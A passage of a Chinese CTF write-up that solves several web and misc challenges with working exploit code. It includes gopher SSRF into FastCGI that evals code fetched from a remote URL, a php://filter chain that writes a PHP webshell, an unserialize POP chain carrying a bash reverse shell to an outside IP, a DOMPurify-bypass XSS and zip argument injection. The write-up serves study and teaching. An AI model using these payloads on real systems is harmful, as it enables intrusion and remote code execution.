    if len(flaghex) % 2 == 0:
        try:
            flag = bytes.fromhex(flaghex).decode()
            print(flaghex, flag)
            if flag[-1] == "}":
                break
        except UnicodeDecodeError:
            pass

# FLAG{星🔵Starburst⚔️ꜱᴜᴛᴏʀɪᴍᴜ⚫爆}

PM

這題是給了個被攻下來的網站，還直接提供了一個 webshell。只是說 webshell 執行指令的功能是壞掉的，而 flag 需要 /readflag。

webshell 的 viewer 和 editor 功能是正常的，而本身版本是 Antichat Shell v1.3，讀 webshell 本身的檔案後和 Google 到其他版本比較一下可以發現這題的 webshell 多加了 Download another webshell 的功能。

該部份的程式碼如下:

// download shell
if ($action=='downshell') {
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"downshell\">
<p>webshell path to write:<input name=\"downpath\" value=\"/path/to/webshell.php\" size=50></p>
<p>remote webshell url: <input name=\"shell_url\" value=\"https://raw.githubusercontent.com/tennc/webshell/master/138shell/A/Antichat%20Shell%20v1.3.txt\" size=100></p>
<input type=\"submit\" value=\"download it\"></form>";
if(@$_POST['shell_url']){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$shell = curl_exec($ch);
curl_close($ch);
$file = fopen($_POST['downpath'], "w");
fwrite($file, $shell);
fclose($file);
}
}

// end download shell

基本上就是可以任意 curl 到一個網址，然後存檔到任意可寫入的地方 (only /tmp (?))。

之後再用 viewer 可以在 /usr/local/etc/php/conf.d/docker-php.ini 找到額外的設定，裡面就寫了 disable_functions = "shell_exec, system"，這就是為什麼 webshell 執行指令的功能會掛的原因。

用 curl 去 ssrf file:///proc/self/net/tcp 可以看到有連接的 tcp 連線，自己寫個腳本 parse 一下可以發現有個到 127.0.0.1:9000 的連線，對應 phpinfo 可以知道是 fastcgi。

有 fastcgi 的話那就能用 curl + gopher 去 ssrf 達成 RCE，這部分 payload 可以用 Gopherus 生成。只是生成後去 RCE 會發現說還是會碰到 system 被禁用的問題。

後來就自己 patch 了 Gopherus 的 FastCGI.py:

diff --git a/scripts/FastCGI.py b/scripts/FastCGI.py
index edf6b12..cb723f1 100644
--- a/scripts/FastCGI.py
+++ b/scripts/FastCGI.py
@@ -4,10 +4,11 @@ def FastCGI():
     filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one:  "+ "\033[0m")
 
     if(not filename):
-        filename="/usr/share/php/PEAR.php"
+        filename="/var/www/html/index.php"
 
-    command=raw_input("\033[96m" +"Terminal command to run:  "+ "\033[0m")
-    length=len(command)+52
+    # command=raw_input("\033[96m" +"Terminal command to run:  "+ "\033[0m")
+    php_code = "<?php eval(file_get_contents('https://webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f'));"
+    length=len(php_code)
     char=chr(length)
 
     data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
@@ -19,7 +20,7 @@ def FastCGI():
     temp3 = chr(len(data) % 8)
 
     end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
-    end += "<?php system('" + command + "');die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00"
+    end += php_code+"\x00\x00\x00\x00"
 
     start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

直接把 code 部分改成從遠端下載程式碼來 eval，然後在遠端測試了幾個函數發現說 passthru('/readflag give me the flag'); 可以拿到 flag: FLAG{g0pher://finally a real ssrf challenge, and this should be a missing lab for edu-ctf students?}。

ssrf 的指令:

curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=downshell' --data-urlencode 'shell_url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH91%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5B%04%00%3C%3Fphp%20eval%28file_get_contents%28%27https%3A//webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f%27%29%29%3B%00%00%00%00' --data 'downpath=/tmp/okpeko'

讀 output 的指令:

1	curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=download' --data-urlencode 'file=/tmp/okpeko' --output -

雖然比賽時沒注意到，不過 ssrf 的 /tmp/okpeko 可以直接換成 php://output，這樣只要一個指令就能看到輸出

babyphp

這題有個壓縮過的 php，把它 beautify 後如下:

<?php
// using php:7.4-apache Dokcer image
isset($_GET['8']) && ($_GET['8'] === '===D') && die(show_source(__FILE__, 1));
!file_exists($dir = "sandbox/" . md5(session_start() . session_id())) && mkdir($dir);
chdir($dir);
!isset($_GET['code']) && die('/?8====D');
$time = date('Y-m-d-H:i:s');
strlen($out = ($_GET['output'] ?? "$time.html")) > 255 && die('toooooooo loooooong');
(trim($ext = pathinfo($out) ['extension']) !== '' && strtolower(substr($ext, 0, 2)) !== "ph") ? file_put_contents($out, sprintf(file_get_contents('/va' . 'r/www/html/template.html') , $time, highlight_string($_GET['code'], true))) : die("BAD");
echo "<p>Highlight:
<a href=\"/$dir/$out\">$out</a></p>"
// You might also need: /phpinfo.php

?>

簡單來說可以指定一個 code 和 output 參數，output 可以指定檔名，但是副檔名不可以為 ph 開頭。code 的話會先 highlight 過後使用塞到 template.html 的字串中，然後寫到 sandbox/$output 的位置。目標是要能夠執行指令。

首先是副檔名禁止 ph 開頭的話就代表 php php7 ... 之類的都不能用，所以沒辦法靠直接寫 webshell 去 RCE。不過看 phpinfo 可以知道應該是用 php:7.4-apache 這個 image 跑的，既然有 Apache 的話代表 .htaccess 可用，而本地測試一下也發現這個 image 在預設設定是會吃 .htaccess 的。

所以現在的目前變成往 .htaccess 寫入以下內容:

1	AddType application/x-httpd-php .p

之後再想辦法寫個 .p 的檔案就能得到 webshell 了。不過困難的點有幾個，一個是 template.html 長這樣:

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PHP Highlighter</title>
    <link rel="stylesheet" href="/bootstrap.min.css">
    <link rel="stylesheet" href="/cooool.css">
</head>

<body>
    <div class="container">
        <h1 class="page-header">
            <span><span style="color:#ff0000;">P</span><span style="color:#ff6e00;">H</span><span
                    style="color:#ffdd00;">P&nbsp;</span></span><span><span style="color:#b2ff00;">H</span><span
                    style="color:#48ff00;">i</span><span style="color:#00ff26;">g</span><span
                    style="color:#00ff95;">h</span><span style="color:#00fbff;">l</span><span
                    style="color:#0091ff;">i</span><span style="color:#0022ff;">g</span><span
                    style="color:#4d00ff;">h</span><span style="color:#b700ff;">t</span><span
                    style="color:#ff00d9;">e</span><span style="color:#ff006a;">r</span></span>

            <img src="/img/hot.gif">
        </h1>
        <marquee scrolldelay="10">
            Generate @ %s =w=
        </marquee>
        <table cellspacing="2" cellpadding="2">
            <tbody>
                <tr>
                    <td><img src="/img/ie_logo.gif"></td>
                    <td><img src="/img/ns_logo.gif"></td>
                    <td><img src="/img/noframes.gif"></td>
                    <td><img src="/img/notepad.gif"></td>
                </tr>
            </tbody>
        </table>
        <center><img src="/img/divider.gif"></center>
        <br>

        <div class="well">
            %s
        </div>
        <center><img src="/img/divider.gif"></center>
        <br>


        <footer class="text-center">
            <img src="/img/counter2.gif">
        </footer>
    </div>
</body>

</html>

然後輸入的 code 參數也是先經過 highlight_string 才會被 sprintf 進去的，然而 .htaccess 不像 .php 那麼寬容，多塞一堆 garbage 進去只會讓它 error。此時可以想辦法用點 php://filter/ 讓它對準備寫入的資料做些處裡，產生出想要的 output，例如 convert.base64-decode 在 decode 的時候會自動忽略掉所有非 base64 字元，而 string.strip_tags 會把一些長的像 <xxx> 的 tags 消除。

完整列表可以參考官方文件

因為 template.html 基本上都是 html，自然會想先用string.strip_tags 把多餘的 tags 刪掉，這樣就只剩下一些純文字和一堆 indentation 的空白。之後再把 payload 反覆 base64 encode 避免出錯，之後讓他反覆 base64 decode 後就能把其他剩下的資料去除，只剩下目標 payload...。只是這個計畫說起來很美好，實際上執行時會出錯，主要在於 template.html 有一行 Generate @ %s =w=，其中的 = 在 base64 代表的是結尾，之後還出現資料就會讓它出錯，所以 decode 失敗就使得 output 為空字串。

去除 = 的方法很多，例如我用一些和 ASCII 不相容的 encoding 如 CP037，這樣 =就會變成一些其他的資料，之後就能反覆 base64 decode 得到目標 output。當然，原本的資料也是要反過來轉換才不會讓它出錯。

下面兩個 php script 都會輸出一個 url，分別可以產生出寫入 .htaccess 和 .p 檔案的 url，分別寫入完就直接存取 webshell 在根目錄找 flag 即可。

<?php
function encodeURIComponent($str)
{
    $revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')');
    return strtr(rawurlencode($str), $revert);
}
function generateRandomString($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function noEqualB64($s)
{
    while (true) {
        $b = base64_encode($s . generateRandomString(random_int(0, 10)));
        if (!strstr($b, '=')) {
            return $b;
        }
    }
}

$tmpl = file_get_contents("template.html");
$payload = "AddType application/x-httpd-php .p\n# c8763 --- ";
$payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload)));
$output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload);
$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=.htaccess";
file_put_contents($url, $output);
echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n";

<?php
function encodeURIComponent($str)
{
    $revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')');
    return strtr(rawurlencode($str), $revert);
}
function generateRandomString($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function noEqualB64($s)
{
    while (true) {
        $b = base64_encode($s . generateRandomString(random_int(0, 10)));
        if (!strstr($b, '=')) {
            return $b;
        }
    }
}

$tmpl = file_get_contents("template.html");
$payload = "<?php system(\$_GET[cmd]); ?> peko ";
$payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload)));
$output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload);
$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=shell.p";
file_put_contents($url, $output);
echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n";

Flag: FLAG{Pecchipee://filter/k!ng}

Imgura Album

這題是一個簡單的 album 服務，可以讓你上傳些照片上去，目標是 RCE。題目本身使用的是 Flight framework。

第一個明顯的洞在於 src/lib/class.album.php 中的 addImage:

public function addImage($uploaded_file_path, $image_name)
{
    if (getimagesize($uploaded_file_path) === false)
        throw new Exception("File is not an image");

    // NO WEBSHELL THIS TIME :D
    if (str_ends_with($image_name, 'jpg') || str_ends_with($image_name, 'jpeg') || str_ends_with($image_name, 'png'))
        move_uploaded_file($uploaded_file_path, $this->getAlbumPath() . "/$image_name");
    else
        throw new Exception("Invalid extension");
}

其中 $this->getAlbumPath() 的回傳值是來自 url /album/@id/add 的 id 參數，使用者可控。而 $image_name 是 HTTP 上傳時候的那個名稱，一樣可控。

這邊檔名只能以 jpg, jpeg 或是 gif 結尾，想不到寫 webshell 的方法。不過 album path 可以有 ../ 之類的出現，代表可以 path traversal 寫入，不過可寫入的地方也只有 ./uploads 和 /tmp 的樣子。

/tmp 裡面會有 sess_$PHPSESSID 形式的檔案出現，存 session 的 serialized 資料。而 index.php 本身中也有直接從 session 中存取物件後呼叫函數的操作，所以可知目標是要想辦法利用 unserialize 去 RCE。

說到 php pop chain 就先去 phpggc 看看有沒有現成的，只是這個 framework 應該是特別挑過不在裡面的，所以沒有現成的能用。這樣就只好自己讀 framework source code 找 pop chain 了。

framework 的 Engine.php 中的 Engine class 有個 __call 如下:

public function __call(string $name, array $params)
{
    $callback = $this->dispatcher->get($name);

    if (\is_callable($callback)) {
        return $this->dispatcher->run($name, $params);
    }

    if (!$this->loader->get($name)) {
        throw new Exception("{$name} must be a mapped method.");
    }

    $shared = empty($params) || $params[0];

    return $this->loader->load($name, $shared);
}

這是個 php magic method 所以在 obj->abc(123) 時相當於呼叫 obj->__call('abc', [123])。裡面會用 $dispatcher 去找 callback，然後如果是 callable 的話就使用 $dispatcher->run 去呼叫之。實際測試下也發現確實能把 $callback 控制成 system 之類的，但問題在於 deserialized 的物件只在幾個地方被呼叫到:

1
2
3

Flight::get('user')->addAlbum($id);  // $id is a random string
Flight::get('user')->getUsername();
Flight::get('user')->getAlbums();

這代表說 $params 根本無法控制，就算能呼叫 system 也不能 RCE。

之後繼續看到 $this->loader->load($name, $shared);，裡面是在 core/Loader.php 之中:

public function load(string $name, bool $shared = true): ?object
{
    $obj = null;

    if (isset($this->classes[$name])) {
        [$class, $params, $callback] = $this->classes[$name];

        $exists = isset($this->instances[$name]);

        if ($shared) {
            $obj = ($exists) ?
                $this->getInstance($name) :
                $this->newInstance($class, $params);

            if (!$exists) {
                $this->instances[$name] = $obj;
            }
        } else {
            $obj = $this->newInstance($class, $params);
        }

        if ($callback && (!$shared || !$exists)) {
            $ref = [&$obj];
            \call_user_func_array($callback, $ref);
        }
    }

    return $obj;
}

其中可以看到說如果 $this->classes[$name] 存在的話就從裡面拿 $class $params 和 $callback，如果沒有已存在的 instances 的話就用 newInstance 建立新 instance:

public function newInstance($class, array $params = []): object
{
    if (\is_callable($class)) {
        return \call_user_func_array($class, $params);
    }

    switch (\count($params)) {
        case 0:
            return new $class();
        case 1:
            return new $class($params[0]);
        case 2:
            return new $class($params[0], $params[1]);
        case 3:
            return new $class($params[0], $params[1], $params[2]);
        case 4:
            return new $class($params[0], $params[1], $params[2], $params[3]);
        case 5:
            return new $class($params[0], $params[1], $params[2], $params[3], $params[4]);
        default:
            try {
                $refClass = new ReflectionClass($class);

                return $refClass->newInstanceArgs($params);
            } catch (ReflectionException $e) {
                throw new Exception("Cannot instantiate {$class}", 0, $e);
            }
    }
}

可以看到說如果 $class 是 callable，那就把 $class 作為函數來呼叫，$params 是參數。只是這次的 $class 和 $params 都來自於 $engine->$loader->$classes，所以可以讓它呼叫到任意函數，參數也是可控的，因此就能夠 RCE。

另外在上傳檔案可能遇到的小問題是它會檢查 getimagesize($uploaded_file_path) === false，不過去讀一下 source code 會知道它其實很好繞，例如在處裡 gif 的地方沒有什麼特別的驗證，而判斷 GIF 的方法也只是檢查前三個 bytes 是不是 GIF 而已。所以給 session array 塞個 GIF 的 key 就能輕鬆繞過了。

<?php

// need to run `composer install` in `src` folder
include 'src/vendor/autoload.php';
include 'src/lib/class.album.php';
include 'src/lib/class.user.php';

use flight\Engine;

function forceGet($obj, $prop)
{
    $reflection = new ReflectionClass($obj);
    $property = $reflection->getProperty($prop);
    $property->setAccessible(true);
    return $property->getValue($obj);
}

function forceSet($obj, $prop, $val)
{
    $reflection = new ReflectionClass($obj);
    $property = $reflection->getProperty($prop);
    $property->setAccessible(true);
    $property->setValue($obj, $val);
}

session_start();

# reverse shell
$ip = '48.76.3.3';
$port = '8763';

$e = new Engine();
forceSet(forceGet($e, 'dispatcher'), 'events', []);
forceSet(forceGet($e, 'dispatcher'), 'filters', []);
forceSet(forceGet($e, 'loader'), 'classes', ['getUsername' => ['system', ["bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"], 'unused_callback']]);
forceSet(forceGet($e, 'loader'), 'instances', []);
forceSet(forceGet($e, 'loader'), 'dirs', []);
$e = unserialize(serialize(($e)));
// $e->getUsername();

$_SESSION['GIF'] = 48763;
$_SESSION['user'] = $e;
echo session_encode();

# php payload_gen > test.gif
# curl -H 'Cookie: PHPSESSID=pekomikojpg' 'https://imgura-album.h4ck3r.quest/album/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp/add' -X POST -F 'image=@test.gif; filename="sess_pekomikojpg"'

# FLAG{4lbums_pwn3ddd}

GistMD

這題可以建立 note，note 的內容會先經過 marked.parse，再經過 DOMPurify.sanitize，最後會將 {%gist data %} 轉換成 iframe。在轉換成 iframe 時，data 會被經過 encodeURI，無法閉合雙引號插入其他 html 內容。

相關部分 code 如下:

// initialize markdown content
window.onload = function () {
    fetch(RAW_MARKDOWN_URL).then(r => r.text()).then(markdown => {
        const html = DOMPurify
            .sanitize(marked.parse(markdown))
            .replace(/{%gist\s*(\S+)\s*%}/g, (_, gistId) => `
            <iframe 
                class="gist-embed"
                sandbox="allow-scripts allow-same-origin"
                scrolling="no" data-gist="${encodeURI(gistId)}"
                csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;">
            </iframe>`);

        document.querySelector('.main').innerHTML = html;
        document.querySelector('.main').querySelectorAll('.gist-embed').forEach(embed => {
            embed.srcdoc = `<script src="https://gist.github.com/${embed.dataset.gist}.js"></script>`
            embed.onload = () =>
                embed.style.height = `${embed.contentDocument.documentElement.scrollHeight}px`;
        });
    });

    document.getElementById('note-title').textContent = GistMD.title || GistMD.id;
};

這邊最大的問題在於它在 DOMPurify sanatize 之後才 replace，這件事在 cure53/DOMPurify 的 README 就有一句說明:

Well, please note, if you first sanitize HTML and then modify it afterwards, you might easily void the effects of sanitization. If you feed the sanitized markup to another library after sanitization, please be certain that the library doesn't mess around with the HTML on its own.

首先為了不要被 marked 的 markdown 特性干擾，可以把所有的東西塞到一個 <div> 中，因為它預設是不會處裡 inline html 裡面的東西的。

之後經過些實驗可以發現說 DOMPurify 是允許 attribute context 中出現 < 的，但是在 attribute context 之外的 < 都會當作 tag 解析，然後移除掉一些有問題的 tag。

不過 replace 時是直接把 {%gist a %} 換成一個 iframe tag，如果 {%gist a %} 出現在 attribute 中然後被 replace 成 html 的話，<iframe> start tag 結尾的那個 > 會被瀏覽器的 html parser 當作是 <img> 的結尾，然後因為 <img> 是 self-closing tag 所以之後接的東西都是屬於 <img> 之外的東西。</iframe> 的話是被瀏覽器忽略掉的樣子。

因此對於下面的 payload:

1
2
3

<div>
    <img alt="{%gist a %}<img src=/ onerror=eval(GistMD.title)>">
</div>

經過 replace 後，iframe 的內容會讓第一個 img 閉合，原本在 alt 內剩下的內容就會就會出現在正常 element 的 context，成功 XSS。下面這個是從 devtools 看 DOM Tree 的解析結果:

<div>
    <img alt="
                <iframe 
                    class=" 'gist-embed"'="" sandbox="allow-scripts allow-same-origin" scrolling="no" data-gist="a" csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;">
    <img src=/ onerror=eval(GistMD.title)>">
</div>

payload 部分可以直接塞 title，雖然很多字元會被 escape，但因為 title 本身是放在一個 javascript string literal 中解析的，可以使用 \x61\x62 這樣的方法 encode 即可。這可以用 CyberChef 容易的做到。

Flag: FLAG{?callback=xss.h4ck3r}

intended solution 是透過 gist 的 jsonp callback function 觸發 top 的 click 事件，然後讓 GistMD 的 inline script 產生 syntax error 之後再 dom clobbering 填充 GistMD.url 達成 XSS。

Misc

RCE

這題基本上如下:

#!/bin/sh

# check clang works
clang /check.c
if [ $? = 1 ]
then
  echo 'cannot compile'
  exit
fi
rm /check.c

# compile given code
clang /code.c
if [ $? = 1 ]
then
  echo 'cannot compile'
  exit
fi

# run it!
/a.out

check.c 是個直接 puts("FLAG{...}"); 的 C 程式，而 code.c 是個可以自己上傳的檔案，沒有任何限制。只是因為這個是每次另外在新的 docker container 跑的，所以沒辦法直接打這題的網頁服務。

可以看到說它會編譯完 check.c 之後刪除之，然後編譯你的 code 之後執行。可以注意到說在編譯 code.c 的時候 a.out 其實是存在的，所以如果能把 a.out 用某些方法在 compile time 塞進 binary 中的話就簡單了。

Google 一下可以找到 Include binary file with gcc/clang，能讓你 include 任意檔案進來到一個 buffer 中。所以 include 進來後直接在 ELF 中搜尋 flag 然後輸出即可。

#include <stdio.h>

#define STR2(x) #x
#define STR(x) STR2(x)

#define INCBIN(name, file) \
    __asm__(".section .rodata\n" \
            ".global incbin_" STR(name) "_start\n" \
            ".balign 16\n" \
            "incbin_" STR(name) "_start:\n" \
            ".incbin \"" file "\"\n" \
            \
            ".global incbin_" STR(name) "_end\n" \
            ".balign 1\n" \
            "incbin_" STR(name) "_end:\n" \
            ".byte 0\n" \
    ); \
    extern const __attribute__((aligned(16))) void* incbin_ ## name ## _start; \
    extern const void* incbin_ ## name ## _end; \

INCBIN(bin, "a.out");

int main()
{
    printf("start = %p\n", &incbin_bin_start);
    printf("end = %p\n", &incbin_bin_end);
    printf("size = %zu\n", (char*)&incbin_bin_end - (char*)&incbin_bin_start);
	for(char *p=(char*)&incbin_bin_start; p!=&incbin_bin_end; p++) {
		if(!strncmp(p, "FLAG{", 5)) {
			printf("%.120s\n", p);
			break;
		}
	}
    printf("first byte = 0x%02x\n", ((unsigned char*)&incbin_bin_start)[0]);
}

Flag: FLAG{g1thu6_i55ue_is_a_gr3at_pL4ce_t0_find_bugssss}

babyheap

這題 nc 上去會看到像是一個一般 heap note 的 menu，只是在 malloc 輸入 size 的時候輸入一些不是數字的東西會出現 error，可以知道是 xonsh 寫的服務，而 source code 在 /home/babyheap/main.xonsh。

在 show 功能時輸入 note name 的地方可以用 path traversal 輸入 ../../../../home/babyheap/main.xonsh 得到原始碼，清理過後如下:

#!env xonsh

import secrets
import atexit

from urllib.parse import urlparse
from os import path

sandbox = f"/tmp/sandbox/{secrets.token_hex(16)}"
atexit.register(lambda: $[rm -rf @(sandbox)])

rm -rf @(sandbox)
mkdir -p @(sandbox)
cd @(sandbox)


def menu():
    print(
        "======== [Babyheap] ========\n"
        "1. Malloc\n"
        "2. Show\n"
        "3. List\n"
        "4. Free\n"
        "0. Exit\n"
        "----------------------------\n"
    )


while True:
    menu()
    option = input("> ")

    if option == "1":
        file = secrets.token_hex(8) + ".txt"
        size = input("Size: ")
        if not size.isdigit():
            exit -1

        size = int(size)
        content = input("Content: ")[:size]
        echo @(content) | cowsay > @(file)
        echo f"Note {file} created"

    elif option == "2":
        file = input("Note name: ")
        if path.exists(file):
            nl @(file)
        else:
            echo f"Note '{file}' does not exist"

    elif option == "3":
        for file in gp`./*.txt`:
            echo "[+]" @(file.name)

    elif option == "4":
        file = path.basename(input("Note name: "))
        if path.exists(file):
            rm -f @(file)
            echo f"Deleted '{file}'"
        else:
            echo f"free(): double free detected in tcache 1"

    elif option == "9487":
        url = input("URL: ")
        if urlparse(url).path.endswith(".txt"):
            wget --no-clobber @(url)
        else:
            echo "Should be a .txt file"

    elif option == "9527":
        zip export.zip *
        link = $(curl --upload-file export.zip https://transfer.sh/export.zip)
        echo f"Exported to {link}"
        rm -f export.zip

    elif option == "0":
        echo "Exiting..."
        break

    else:
        echo "Invalid option"

    print()

可知它有兩個隱藏的功能，一個是使用 wget 下載 txt 檔案，另一個是把當前 sandbox 中所有檔案 zip 起來上傳到 transfer.sh。

問題點在於 zip export.zip * 這行，因為 * 是直接把當前目錄下所有的檔名展開成 arguments，如果有檔名是 - 開頭的話還是會被視為 flags 解析，就可能會出現一些問題。

參考 zip | GTFOBins 可知它有個 -TT 選項可以拿來執行指令:

1	zip /tmp/out /etc/hosts -T -TT 'sh #'

所以只要讓檔名恰好能湊成這樣的指令即可，不過還要讓它能在後面以 .txt 結尾才行。

-TT 部分可以把它合併成 -TTsh #.txt 處裡。-T 的因為它是不吃額外參數的，加上 .txt 會有錯誤，不過翻一下 man zip 可以發現它有個 -x 是拿來 exclude 檔案的，所以 -Tx.txt 可以過。另外還需要一個 input file，隨便的一個檔案如 z.txt 就行。

之後就弄個 server 可以對所有 path 返回 200 OK，然後讓它分別下載這三個檔案

https://server/-Tx.txt
https://server/-TTsh%20%23.txt
https://server/z.txt

在 xonsh 中輸入 echo export.zip * 會得到 export.zip -TTsh #.txt -Tx.txt z.txt，所以 zip export.zip * 就會有 shell。 (-TTsh #.txt 實際上是一個 argument，空白是顯示的問題)

Flag: FLAG{I don't know why but nc+note=babyheap}